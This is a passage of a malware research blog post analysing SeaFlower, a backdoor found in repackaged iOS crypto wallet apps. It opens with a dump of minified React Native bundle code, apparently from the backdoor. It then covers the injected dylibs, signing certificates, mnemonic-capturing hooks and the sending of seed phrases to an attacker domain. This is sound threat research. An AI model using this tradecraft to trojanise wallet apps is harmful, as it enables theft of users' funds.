‘,r.join(e+‘|’+e)}},group:function(e){n.nativeLoggingHook(p(f,e),t.info),s.push(u)},groupEnd:function(){s.pop(),n.nativeLoggingHook(p(c),t.info)},groupCollapsed:function(e){n.nativeLoggingHook(p(c,e),t.info),s.push(u)},assert:function(e,r){e||n.nativeLoggingHook(‘Assertion failed: ‘+r,t.error)}},Object.defineProperty(console,‘_isPolyfilled’,{value:!0,enumerable:!1})}else if(!n.console){}})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this);
!(function(n){var r=0,t=function(n,r){throw n},l={setGlobalHandler:function(n){t=n},getGlobalHandler:function(){return t},reportError:function(n){t&&t(n,!1)},reportFatalError:function(n){t&&t(n,!0)},applyWithGuard:function(n,t,u,e,a){try{return r++,n.apply(t,u)}catch(n){l.reportError(n)}finally{r}return null},applyWithGuardIfNeeded:function(n,r,t){return l.inGuard()?n.apply(r,t):(l.applyWithGuard(n,r,t),null)},inGuard:function(){return!!r},guard:function(n,r,t){var u;if(‘function’!=typeof n)return null;var e=null!=(u=null!=r?r:n.name)?u:‘<generated guard>’;return function(){for(var r=arguments.length,u=new Array(r),a=0;a<r;a++)u[a]=arguments[a];return l.applyWithGuard(n,null!=t?t:this,u,null,e)}}};n.ErrorUtils=l})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this);
‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window&&window,(function(){‘use strict’;var e=Object.prototype.hasOwnProperty;‘function’!=typeof Object.entries&&(Object.entries=function(n){if(null==n)throw new TypeError(‘Object.entries called on non-object’);var o=[];for(var t in n)e.call(n,t)&&o.push([t,n[t]]);return o}),‘function’!=typeof Object.values&&(Object.values=function(n){if(null==n)throw new TypeError(‘Object.values called on non-object’);var o=[];for(var t in n)e.call(n,t)&&o.push(n[t]);return o})})();
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1]),r(d[2]);var t=n(r(d[3]));r(d[4]).AppRegistry.registerComponent(‘token’,function(){return t.default})},0,[1,2,347,929,380]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n){return n&&n.__esModule?n:{default:n}}},1,[]);
__d(function(g,r,i,a,m,e,d){r(d[0]),r(d[1]),r(d[2]),r(d[3]),r(d[4]),r(d[5]),r(d[6]),r(d[7]),r(d[8]),r(d[9]),r(d[10]),r(d[11]),r(d[12]),r(d[13]),r(d[14]),m.exports=r(d[15])},2,[3,329,167,332,331,333,336,337,338,339,341,342,343,345,346,10]);
__d(function(g,r,i,a,m,e,d){r(d[0]),r(d[1]),r(d[2]),r(d[3]),r(d[4]),r(d[5]),r(d[6]),r(d[7]),r(d[8]),r(d[9]),r(d[10]),r(d[11]),r(d[12]),r(d[13]),r(d[14]),r(d[15]),r(d[16]),r(d[17]),r(d[18]),r(d[19]),r(d[20]),r(d[21]),r(d[22]),r(d[23]),r(d[24]),r(d[25]),r(d[26]),r(d[27]),r(d[28]),r(d[29]),r(d[30]),r(d[31]),r(d[32]),r(d[33]),r(d[34]),r(d[35]),r(d[36]),r(d[37]),r(d[38]),r(d[39]),r(d[40]),r(d[41]),r(d[42]),r(d[43]),r(d[44]),r(d[45]),r(d[46]),r(d[47]),r(d[48]),r(d[49]),r(d[50]),r(d[51]),r(d[52]),r(d[53]),r(d[54]),r(d[55]),r(d[56]),r(d[57]),r(d[58]),r(d[59]),r(d[60]),r(d[61]),r(d[62]),r(d[63]),r(d[64]),r(d[65]),r(d[66]),r(d[67]),r(d[68]),r(d[69]),r(d[70]),r(d[71]),r(d[72]),r(d[73]),r(d[74]),r(d[75]),r(d[76]),r(d[77]),r(d[78]),r(d[79]),r(d[80]),r(d[81]),r(d[82]),r(d[83]),r(d[84]),r(d[85]),r(d[86]),r(d[87]),r(d[88]),r(d[89]),r(d[90]),r(d[91]),r(d[92]),r(d[93]),r(d[94]),r(d[95]),r(d[96]),r(d[97]),r(d[98]),r(d[99]),r(d[100]),r(d[101]),r(d[102]),r(d[103]),r(d[104]),r(d[105]),r(d[106]),r(d[107]),r(d[108]),r(d[109]),r(d[110]),r(d[111]),r(d[112]),r(d[113]),r(d[114]),r(d[115]),r(d[116]),r(d[117]),r(d[118]),r(d[119]),r(d[120]),r(d[121]),r(d[122]),r(d[123]),r(d[124]),r(d[125]),r(d[126]),r(d[127]),r(d[128]),r(d[129]),r(d[130]),r(d[131]),r(d[132]),r(d[133]),r(d[134]),r(d[135]),r(d[136]),r(d[137]),r(d[138]),r(d[139]),r(d[140]),r(d[141]),r(d[142]),r(d[143]),r(d[144]),r(d[145]),r(d[146]),r(d[147]),r(d[148]),r(d[149]),r(d[150]),r(d[151]),r(d[152]),r(d[153]),r(d[154]),r(d[155]),r(d[156]),r(d[157]),r(d[158]),r(d[159]),r(d[160]),r(d[161]),r(d[162]),r(d[163]),r(d[164]),r(d[165]),r(d[166]),r(d[167]),r(d[168]),r(d[169]),r(d[170]),r(d[171]),r(d[172]),r(d[173]),r(d[174]),r(d[175]),r(d[176]),r(d[177]),r(d[178]),r(d[179]),r(d[180]),r(d[181]),r(d[182]),r(d[183]),r(d[184]),r(d[185]),r(d[186]),r(d[187]),r(d[188]),r(d[189]),r(d[190]),r(d[191]),r(d[192]),r(d[193]),r(d[194]),r(d[195]),r(d[196]),m.exports=r(d[197])},3,[4,54,55,56,57,59,61,62,63,64,65,66,67,68,69,71,73,75,77,80,81,82,86,88,90,93,94,95,96,98,99,100,101,102,103,104,106,107,108,110,111,112,114,116,117,118,119,120,121,122,123,124,125,126,127,128,133,134,138,139,140,141,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,159,160,162,163,169,170,172,173,174,178,179,180,181,182,184,185,186,187,190,192,193,194,196,198,200,202,203,204,208,209,210,212,222,226,227,229,230,234,235,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,263,264,265,267,268,269,270,271,272,273,274,276,277,279,280,281,282,285,286,288,289,290,291,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,313,314,316,317,318,319,320,321,322,323,324,325,326,327,328,10]);
__d(function(g,r,i,a,m,e,d){‘use strict’;g=r(d[0]);var t=r(d[1]),n=r(d[2]),o=r(d[3]),f=r(d[4]),u=r(d[5]).KEY,s=r(d[6]),c=r(d[7]),p=r(d[8]),l=r(d[9]),y=r(d[10]),h=r(d[11]),b=r(d[12]),v=r(d[13]),S=r(d[14]),O=r(d[15]),P=r(d[16]),w=r(d[17]),F=r(d[18]),j=r(d[19]),E=r(d[20]),N=r(d[21]),_=r(d[22]),J=r(d[23]),k=r(d[24]),I=r(d[25]),T=r(d[26]),C=J.f,M=I.f,D=_.f,G=g.Symbol,K=g.JSON,Q=K&&K.stringify,W=y(‘_hidden’),Y=y(‘toPrimitive’),q={}.propertyIsEnumerable,x=c(‘symbol-registry’),z=c(‘symbols’),A=c(‘op-symbols’),B=Object.prototype,H=‘function’==typeof G&&!!k.f,L=g.QObject,R=!L||!L.prototype||!L.prototype.findChild,U=n&&s(function(){return 7!=N(M({},‘a’,{get:function(){return M(this,‘a’,{value:7}).a}})).a})?function(t,n,o){var f=C(B,n);f&&delete B[n],M(t,n,o),f&&t!==B&&M(B,n,f)}:M,V=function(t){var n=z[t]=N(G.prototype);return n._k=t,n},X=H&&‘symbol’==typeof G.iterator?function(t){return‘symbol’==typeof t}:function(t){return t instanceof G},Z=function(n,o,f){return n===B&&Z(A,o,f),O(n),o=j(o,!0),O(f),t(z,o)?(f.enumerable?(t(n,W)&&n[W][o]&&(n[W][o]=!1),f=N(f,{enumerable:E(0,!1)})):(t(n,W)||M(n,W,E(1,{})),n[W][o]=!0),U(n,o,f)):M(n,o,f)},$=function(t,n){O(t);for(var o,f=v(n=F(n)),u=0,s=f.length;s>u;)Z(t,o=f[u++],n[o]);return t},tt=function(n){var o=q.call(this,n=j(n,!0));return!(this===B&&t(z,n)&&!t(A,n))&&(!(o||!t(this,n)||!t(z,n)||t(this,W)&&this[W][n])||o)},rt=function(n,o){if(n=F(n),o=j(o,!0),n!==B||!t(z,o)||t(A,o)){var f=C(n,o);return!f||!t(z,o)||t(n,W)&&n[W][o]||(f.enumerable=!0),f}},nt=function(n){for(var o,f=D(F(n)),s=[],c=0;f.length>c;)t(z,o=f[c++])||o==W||o==u||s.push(o);return s},et=function(n){for(var o,f=n===B,u=D(f?A:F(n)),s=[],c=0;u.length>c;)!t(z,o=u[c++])||f&&!t(B,o)||s.push(z[o]);return s};H||(f((G=function(){if(this instanceof G)throw TypeError(‘Symbol is not a constructor!’);var o=l(arguments.length>0?arguments[0]:void 0);return n&&R&&U(B,o,{configurable:!0,set:function n(f){this===B&&n.call(A,f),t(this,W)&&t(this[W],o)&&(this[W][o]=!1),U(this,o,E(1,f))}}),V(o)}).prototype,‘toString’,function(){return this._k}),J.f=rt,I.f=Z,r(d[27]).f=_.f=nt,r(d[28]).f=tt,k.f=et,n&&!r(d[29])&&f(B,‘propertyIsEnumerable’,tt,!0),h.f=function(t){return V(y(t))}),o(o.G+o.W+o.F*!H,{Symbol:G});for(var ot=‘hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables’.split(‘,’),it=0;ot.length>it;)y(ot[it++]);for(var ft=T(y.store),ut=0;ft.length>ut;)b(ft[ut++]);o(o.S+o.F*!H,‘Symbol’,{for:function(n){return t(x,n+=)?x[n]:x[n]=G(n)},keyFor:function(t){if(!X(t))throw TypeError(t+‘ is not a symbol!’);for(var n in x)if(x[n]===t)return n},useSetter:function(){R=!0},useSimple:function(){R=!1}}),o(o.S+o.F*!H,‘Object’,{create:function(t,n){return void 0===n?N(t):$(N(t),n)},defineProperty:Z,defineProperties:$,getOwnPropertyDescriptor:rt,getOwnPropertyNames:nt,getOwnPropertySymbols:et});var st=s(function(){k.f(1)});o(o.S+o.F*st,‘Object’,{getOwnPropertySymbols:function(t){return k.f(w(t))}}),K&&o(o.S+o.F*(!H||s(function(){var t=G();return‘[null]’!=Q([t])||‘{}’!=Q({a:t})||‘{}’!=Q(Object(t))})),‘JSON’,{stringify:function(t){for(var n,o,f=[t],u=1;arguments.length>u;)f.push(arguments[u++]);if(o=n=f[1],(P(n)||void 0!==t)&&!X(t))return S(n)||(n=function(t,n){if(‘function’==typeof o&&(n=o.call(this,t,n)),!X(n))return n}),f[1]=n,Q.apply(K,f)}}),G.prototype[Y]||r(d[30])(G.prototype,Y,G.prototype.valueOf),p(G,‘Symbol’),p(Math,‘Math’,!0),p(g.JSON,‘JSON’,!0)},4,[5,6,7,9,19,26,8,22,27,20,28,29,30,31,46,13,14,47,34,17,18,48,51,53,44,12,32,52,45,23,11]);
__d(function(g,r,i,a,m,e,d){g=m.exports=‘undefined’!=typeof window&&window.Math==Math?window:‘undefined’!=typeof self&&self.Math==Math?self:Function(‘return this’)();‘number’==typeof __g&&(__g=g)},5,[]);
__d(function(g,r,i,a,m,e,d){var n={}.hasOwnProperty;m.exports=function(t,o){return n.call(t,o)}},6,[]);
__d(function(g,r,i,a,m,e,d){m.exports=!r(d[0])(function(){return 7!=Object.defineProperty({},‘a’,{get:function(){return 7}}).a})},7,[8]);
__d(function(g,r,i,a,m,e,d){m.exports=function(t){try{return!!t()}catch(t){return!0}}},8,[]);
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var o=r(d[1]),t=r(d[2]),n=r(d[3]),p=r(d[4]),c=function c(f,u,y){var v,F,l,B,G=f&c.F,P=f&c.G,S=f&c.P,U=f&c.B,_=P?g:f&c.S?g[u]||(g[u]={}):(g[u]||{}).prototype,s=P?o:o[u]||(o[u]={}),x=s.prototype||(s.prototype={});for(v in P&&(y=u),y)l=((F=!G&&_&&void 0!==_[v])?_:y)[v],B=U&&F?p(l,g):S&&‘function’==typeof l?p(Function.call,l):l,_&&n(_,v,l,f&c.U),s[v]!=l&&t(s,v,B),S&&x[v]!=l&&(x[v]=l)};g.core=o,c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,m.exports=c},9,[5,10,11,19,24]);
__d(function(g,r,i,a,m,e,d){var _=m.exports={version:‘2.6.11’};‘number’==typeof __e&&(__e=_)},10,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=r(d[2])?function(u,f,o){return n.f(u,f,t(1,o))}:function(n,t,u){return n[t]=u,n}},11,[12,18,7]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]),o=r(d[2]),c=Object.defineProperty;e.f=r(d[3])?Object.defineProperty:function(f,u,p){if(t(f),u=o(u,!0),t(p),n)try{return c(f,u,p)}catch(t){}if(‘get’in p||‘set’in p)throw TypeError(‘Accessors not supported!’);return‘value’in p&&(f[u]=p.value),f}},12,[13,15,17,7]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(o){if(!n(o))throw TypeError(o+‘ is not an object!’);return o}},13,[14]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n){return‘object’==typeof n?null!==n:‘function’==typeof n}},14,[]);
__d(function(g,r,i,a,m,e,d){m.exports=!r(d[0])&&!r(d[1])(function(){return 7!=Object.defineProperty(r(d[2])(‘div’),‘a’,{get:function(){return 7}}).a})},15,[7,8,16]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).document,c=t(n)&&t(n.createElement);m.exports=function(t){return c?n.createElement(t):{}}},16,[14,5]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]);m.exports=function(n,o){if(!t(n))return n;var f,u;if(o&&‘function’==typeof(f=n.toString)&&!t(u=f.call(n)))return u;if(‘function’==typeof(f=n.valueOf)&&!t(u=f.call(n)))return u;if(!o&&‘function’==typeof(f=n.toString)&&!t(u=f.call(n)))return u;throw TypeError(“Can’t convert object to primitive value”)}},17,[14]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n,u){return{enumerable:!(1&n),configurable:!(2&n),writable:!(4&n),value:u}}},18,[]);
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var t=r(d[1]),n=r(d[2]),o=r(d[3])(‘src’),c=r(d[4]),u=(+c).split(“toString”);r(d[5]).inspectSource=function(t){return c.call(t)},(m.exports=function(c,f,p,s){var l=‘function’==typeof p;l&&(n(p,‘name’)||t(p,‘name’,f)),c[f]!==p&&(l&&(n(p,o)||t(p,o,c[f]?+c[f]:u.join(String(f)))),c===g?c[f]=p:s?c[f]?c[f]=p:t(c,f,p):(delete c[f],t(c,f,p)))})(Function.prototype,“toString”,function(){return‘function’==typeof this&&this[o]||c.call(this)})},19,[5,11,6,20,21,10]);
__d(function(g,r,i,a,m,e,d){var n=0,o=Math.random();m.exports=function(t){return‘Symbol(‘.concat(void 0===t?:t,‘)_’,(++n+o).toString(36))}},20,[]);
__d(function(g,r,i,a,m,e,d){m.exports=r(d[0])(‘native-function-to-string’,Function.toString)},21,[22]);
__d(function(g,r,i,a,m,e,d){var o=r(d[0]),s=(g=r(d[1]))[“__core-js_shared__”]||(g[“__core-js_shared__”]={});(m.exports=function(o,_){return s[o]||(s[o]=void 0!==_?_:{})})(‘versions’,[]).push({version:o.version,mode:r(d[2])?‘pure’:‘global’,copyright:‘\xa9 2019 Denis Pushkarev (zloirock.ru)’})},22,[10,5,23]);
__d(function(g,r,i,a,m,e,d){m.exports=!1},23,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(t,u,c){if(n(t),void 0===u)return t;switch(c){case 1:return function(n){return t.call(u,n)};case 2:return function(n,c){return t.call(u,n,c)};case 3:return function(n,c,o){return t.call(u,n,c,o)}}return function(){return t.apply(u,arguments)}}},24,[25]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n){if(‘function’!=typeof n)throw TypeError(n+‘ is not a function!’);return n}},25,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0])(‘meta’),t=r(d[1]),f=r(d[2]),u=r(d[3]).f,o=0,c=Object.isExtensible||function(){return!0},s=!r(d[4])(function(){return c(Object.preventExtensions({}))}),E=function(t){u(t,n,{value:{i:‘O’+ ++o,w:{}}})},b=m.exports={KEY:n,NEED:!1,fastKey:function(u,o){if(!t(u))return‘symbol’==typeof u?u:(‘string’==typeof u?‘S’:‘P’)+u;if(!f(u,n)){if(!c(u))return‘F’;if(!o)return‘E’;E(u)}return u[n].i},getWeak:function(t,u){if(!f(t,n)){if(!c(t))return!0;if(!u)return!1;E(t)}return t[n].w},onFreeze:function(t){return s&&b.NEED&&c(t)&&!f(t,n)&&E(t),t}}},26,[20,14,6,12,8]);
__d(function(g,r,i,a,m,e,d){var o=r(d[0]).f,t=r(d[1]),n=r(d[2])(‘toStringTag’);m.exports=function(f,u,c){f&&!t(f=c?f:f.prototype,n)&&o(f,n,{configurable:!0,value:u})}},27,[12,6,28]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0])(‘wks’),o=r(d[1]),t=r(d[2]).Symbol,f=‘function’==typeof t;(m.exports=function(u){return n[u]||(n[u]=f&&(“function”==typeof t?t[u]:“@@name”)||(f?t:o)(‘Symbol.’+u))}).store=n},28,[22,20,5]);
__d(function(g,r,i,a,m,e,d){e.f=r(d[0])},29,[28]);
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var o=r(d[1]),n=r(d[2]),f=r(d[3]),l=r(d[4]).f;m.exports=function(t){var b=o.Symbol||(o.Symbol=n?{}:g.Symbol||{});‘_’==t.charAt(0)||t in b||l(b,t,{value:f.f(t)})}},30,[5,10,23,29,12]);
__d(function(g,r,i,a,m,e,d){var f=r(d[0]),n=r(d[1]),t=r(d[2]);m.exports=function(o){var u=f(o),c=n.f;if(c)for(var l,v=c(o),h=t.f,p=0;v.length>p;)h.call(o,l=v[p++])&&u.push(l);return u}},31,[32,44,45]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=Object.keys||function(c){return n(c,t)}},32,[33,43]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),o=r(d[1]),t=r(d[2])(!1),u=r(d[3])(‘IE_PROTO’);m.exports=function(f,h){var p,s=o(f),_=0,c=[];for(p in s)p!=u&&n(s,p)&&c.push(p);for(;h.length>_;)n(s,p=h[_++])&&(~t(c,p)||c.push(p));return c}},33,[6,34,38,42]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=function(o){return n(t(o))}},34,[35,37]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]);m.exports=Object(‘z’).propertyIsEnumerable(0)?Object:function(n){return‘String’==t(n)?n.split():Object(n)}},35,[36]);
__d(function(g,r,i,a,m,e,d){var n={}.toString;m.exports=function(t){return n.call(t).slice(8,1)}},36,[]);
__d(function(g,r,i,a,m,e,d){m.exports=function(o){if(void 0==o)throw TypeError(“Can’t call method on “+o);return o}},37,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]),f=r(d[2]);m.exports=function(u){return function(o,c,l){var s,v=n(o),_=t(v.length),h=f(l,_);if(u&&c!=c){for(;_>h;)if((s=v[h++])!=s)return!0}else for(;_>h;h++)if((u||h in v)&&v[h]===c)return u||h||0;return!u&&1}}},38,[34,39,41]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=Math.min;m.exports=function(o){return o>0?t(n(o),9007199254740991):0}},39,[40]);
__d(function(g,r,i,a,m,e,d){var t=Math.ceil,n=Math.floor;m.exports=function(o){return isNaN(o=+o)?0:(o>0?n:t)(o)}},40,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=Math.max,o=Math.min;m.exports=function(u,c){return(u=n(u))<0?t(u+c,0):o(u,c)}},41,[40]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0])(‘keys’),t=r(d[1]);m.exports=function(o){return n[o]||(n[o]=t(o))}},42,[22,20]);
__d(function(g,r,i,a,m,e,d){m.exports=‘constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf’.split(‘,’)},43,[]);
__d(function(g,r,i,a,m,e,d){e.f=Object.getOwnPropertySymbols},44,[]);
__d(function(g,r,i,a,m,e,d){e.f={}.propertyIsEnumerable},45,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=Array.isArray||function(t){return‘Array’==n(t)}},46,[36]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(t){return Object(n(t))}},47,[37]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]),o=r(d[2]),c=r(d[3])(‘IE_PROTO’),p=function(){},l=function(){var t,n=r(d[4])(‘iframe’),c=o.length;for(n.style.display=‘none’,r(d[5]).appendChild(n),n.src=‘javascript:’,(t=n.contentWindow.document).open(),t.write(“<script>document.F=Object<\/script>”),t.close(),l=t.F;c;)delete l.prototype[o[c]];return l()};m.exports=Object.create||function(o,u){var s;return null!==o?(p.prototype=t(o),s=new p,p.prototype=null,s[c]=o):s=l(),void 0===u?s:n(s,u)}},48,[13,49,43,42,16,50]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]),f=r(d[2]);m.exports=r(d[3])?Object.defineProperties:function(o,c){t(o);for(var u,p=f(c),s=p.length,v=0;s>v;)n.f(o,u=p[v++],c[u]);return o}},49,[12,13,32,7]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]).document;m.exports=n&&n.documentElement},50,[5]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).f,o={}.toString,c=‘object’==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[],w=function(t){try{return n(t)}catch(t){return c.slice()}};m.exports.f=function(f){return c&&‘[object Window]’==o.call(f)?w(f):n(t(f))}},51,[34,52]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).concat(‘length’,‘prototype’);e.f=Object.getOwnPropertyNames||function(o){return t(o,n)}},52,[33,43]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),c=r(d[1]),n=r(d[2]),f=r(d[3]),o=r(d[4]),u=r(d[5]),l=Object.getOwnPropertyDescriptor;e.f=r(d[6])?l:function(p,y){if(p=n(p),y=f(y,!0),u)try{return l(p,y)}catch(t){}if(o(p,y))return c(!t.f.call(p,y),p[y])}},53,[45,18,34,17,6,15,7]);
__d(function(g,r,i,a,m,e,d){var c=r(d[0]);c(c.S,‘Object’,{create:r(d[1])})},54,[9,48]);
__d(function(g,r,i,a,m,e,d){var f=r(d[0]);f(f.S+f.F*!r(d[1]),‘Object’,{defineProperty:r(d[2]).f})},55,[9,7,12]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);n(n.S+n.F*!r(d[1]),‘Object’,{defineProperties:r(d[2])})},56,[9,7,49]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).f;r(d[2])(‘getOwnPropertyDescriptor’,function(){return function(o,u){return t(n(o),u)}})},57,[34,53,58]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),c=r(d[1]),n=r(d[2]);m.exports=function(o,b){var f=(c.Object||{})[o]||Object[o],j={};j[o]=b(f),t(t.S+t.F*n(function(){f(1)}),‘Object’,j)}},58,[9,10,8]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);r(d[2])(‘getPrototypeOf’,function(){return function(o){return t(n(o))}})},59,[47,60,58]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]),n=r(d[2])(‘IE_PROTO’),c=Object.prototype;m.exports=Object.getPrototypeOf||function(u){return u=o(u),t(u,n)?u[n]:‘function’==typeof u.constructor&&u instanceof u.constructor?u.constructor.prototype:u instanceof Object?c:null}},60,[6,47,42]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);r(d[2])(‘keys’,function(){return function(u){return t(n(u))}})},61,[47,32,58]);
__d(function(g,r,i,a,m,e,d){r(d[0])(‘getOwnPropertyNames’,function(){return r(d[1]).f})},62,[58,51]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])(‘freeze’,function(u){return function(f){return u&&n(f)?u(t(f)):f}})},63,[14,26,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])(‘seal’,function(u){return function(o){return u&&n(o)?u(t(o)):o}})},64,[14,26,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])(‘preventExtensions’,function(o){return function(u){return o&&n(u)?o(t(u)):u}})},65,[14,26,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])(‘isFrozen’,function(t){return function(u){return!n(u)||!!t&&t(u)}})},66,[14,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])(‘isSealed’,function(t){return function(u){return!n(u)||!!t&&t(u)}})},67,[14,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])(‘isExtensible’,function(t){return function(u){return!!n(u)&&(!t||t(u))}})},68,[14,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);n(n.S+n.F,‘Object’,{assign:r(d[1])})},69,[9,70]);
__d(function(g,r,i,a,m,e,d){‘use strict’;var n=r(d[0]),t=r(d[1]),c=r(d[2]),o=r(d[3]),f=r(d[4]),s=r(d[5]),l=Object.assign;m.exports=!l||r(d[6])(function(){var n={},t={},c=Symbol(),o=‘abcdefghijklmnopqrst’;return n[c]=7,o.split().forEach(function(n){t[n]=n}),7!=l({},n)[c]||Object.keys(l({},t)).join()!=o})?function(l,u){for(var b=f(l),h=arguments.length,j=1,v=c.f,p=o.f;h>j;)for(var k,y=s(arguments[j++]),O=v?t(y).concat(v(y)):t(y),_=O.length,q=0;_>q;)k=O[q++],n&&!p.call(y,k)||(b[k]=y[k]);return b}
view rawseaflower.js hosted with ❤ by GitHub

Coinbase Wallet iOS app

SHA-256 of the .IPA: 2334e9fc13b6fe12a6dd92f8bd65467cf700f43fdb713a209a74174fdaabd2e2

A single injected dylib libWalletDylib.dylib was used, below output of otool -L:

@executable_path/Frameworks/libWalletDylib.dylib 
 (compatibility version 0.0.0, current version 0.0.0)

This .dylib is signed with Developper ID certificate: iPhone Distribution: Universitas Muhammadiyah Malang (9MJG6A8RD7) and Team-ID 9MJG6A8RD7

Dumping the strings, we found the same author macOS username “lanyu”, as in the metamask Wallet iOS app, confirming we are dealing with the same author, and also confirmed the usage of the same Monkeydev xcode templates:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

/Users/lanyu
The backdoor code wasn’t really hidden like in the MetaMask wallet iOS app, as we could see more methods implemented directly in the injected .dylib:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

backdoor classes (via class-dump)
Logos was also used with multiple MSHookMessageEx() hooks at multiple ViewControllers of the app, calling back specific backdoor code methods each time:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

coinbase Wallet iOS app with logos tweaks

imToken Wallet iOS app:

SHA-256 of the .IPA: 1e232c74082e4d72c86e44f1399643ffb6f7836805c9ba4b4235fedbeeb8bdca

Similar to the Coinbase iOS wallet, one .dylib libimtokenhookDylib.dylib was injected:

@executable_path/Frameworks/libimtokenhookDylib.dylib 
 (compatibility version 0.0.0, current version 0.0.0)

This .dylib is signed with Developper ID certificate : Sjdbfbd Jdjffb (9J3Q9W2QG2) and Team-ID 9J3Q9W2QG2

We also found reference to the same macOS username “lanyu” and references to the MonkeyDev framework:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

The backdoor was hidden and encrypted same as in the Metamask iOS wallet and I found the exact same backdoor React Native bundle that was loaded. We noticed additional hooks via MSHookMessageEx() were added to the RCTJavaScriptLoader, ensuring eventually the loading of the backdoor React Native bundle:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

So it seems the Author didn’t do anything specific for imToken Wallet iOS app.

TokenPocket iOS Wallet:

SHA-256 of the .IPA file: 46002ac5a0caaa2617371bddbdbc7eca74cd9cb48878da0d3218a78d5be7a53a

A single “.dylib libpocketDylib.dylib` was injected:

@executable_path/Frameworks/libpocketDylib.dylib 
 (compatibility version 0.0.0, current version 0.0.0)

This .dylib is signed with Developper ID certificate: hang Bai (GNY64NUGXC):

Authority=iPhone Distribution: hang Bai (GNY64NUGXC)
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=Mar 3, 2022 at 5:06:06 PM
Info.plist=not bound
TeamIdentifier=GNY64NUGXC

A new author macOS username leaked named “trader”, we also confirmed the usage of the MonkeyDev Framework:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

Logos tweaks are used, in particular hooks to setMnemonic: were added:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

The captured seed phrase is sent to a domain controlled by the attacker:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

Some Final thoughts about SeaFlower:

What I liked about this cluster of activity, is the fact that it is unique, it is web3 related, and not reported before. It seems there was a lot of efforts in the iOS side of things, for example setting up provisioning profiles, automatic deployments, sophisticated backdoor code, etc. More work has been done compared to the Android side of things.

It is important to note that with every iOS app, delivered via provisioning profiles, there was an android app available to download on the same page setup by SeaFlower

For the analysis of the infected Android apps, see Taha’s writeup on Confiant’s site.

There are some notable challenges when it comes to SeaFlower attribution, for example figuring out if the provisioning servers are run by the same group, and also identifying more initial vectors of the attack beside the Chinese search engines. All these are difficult challenges due to the geographical and language barrier aspects.

We are planning to release sometime in the near future a part 2 of this blog post, where we will do a deep dive into the infrastructure used by SeaFlower and add more elements of attribution.

General security recommendations:

For Web3 Wallet developers

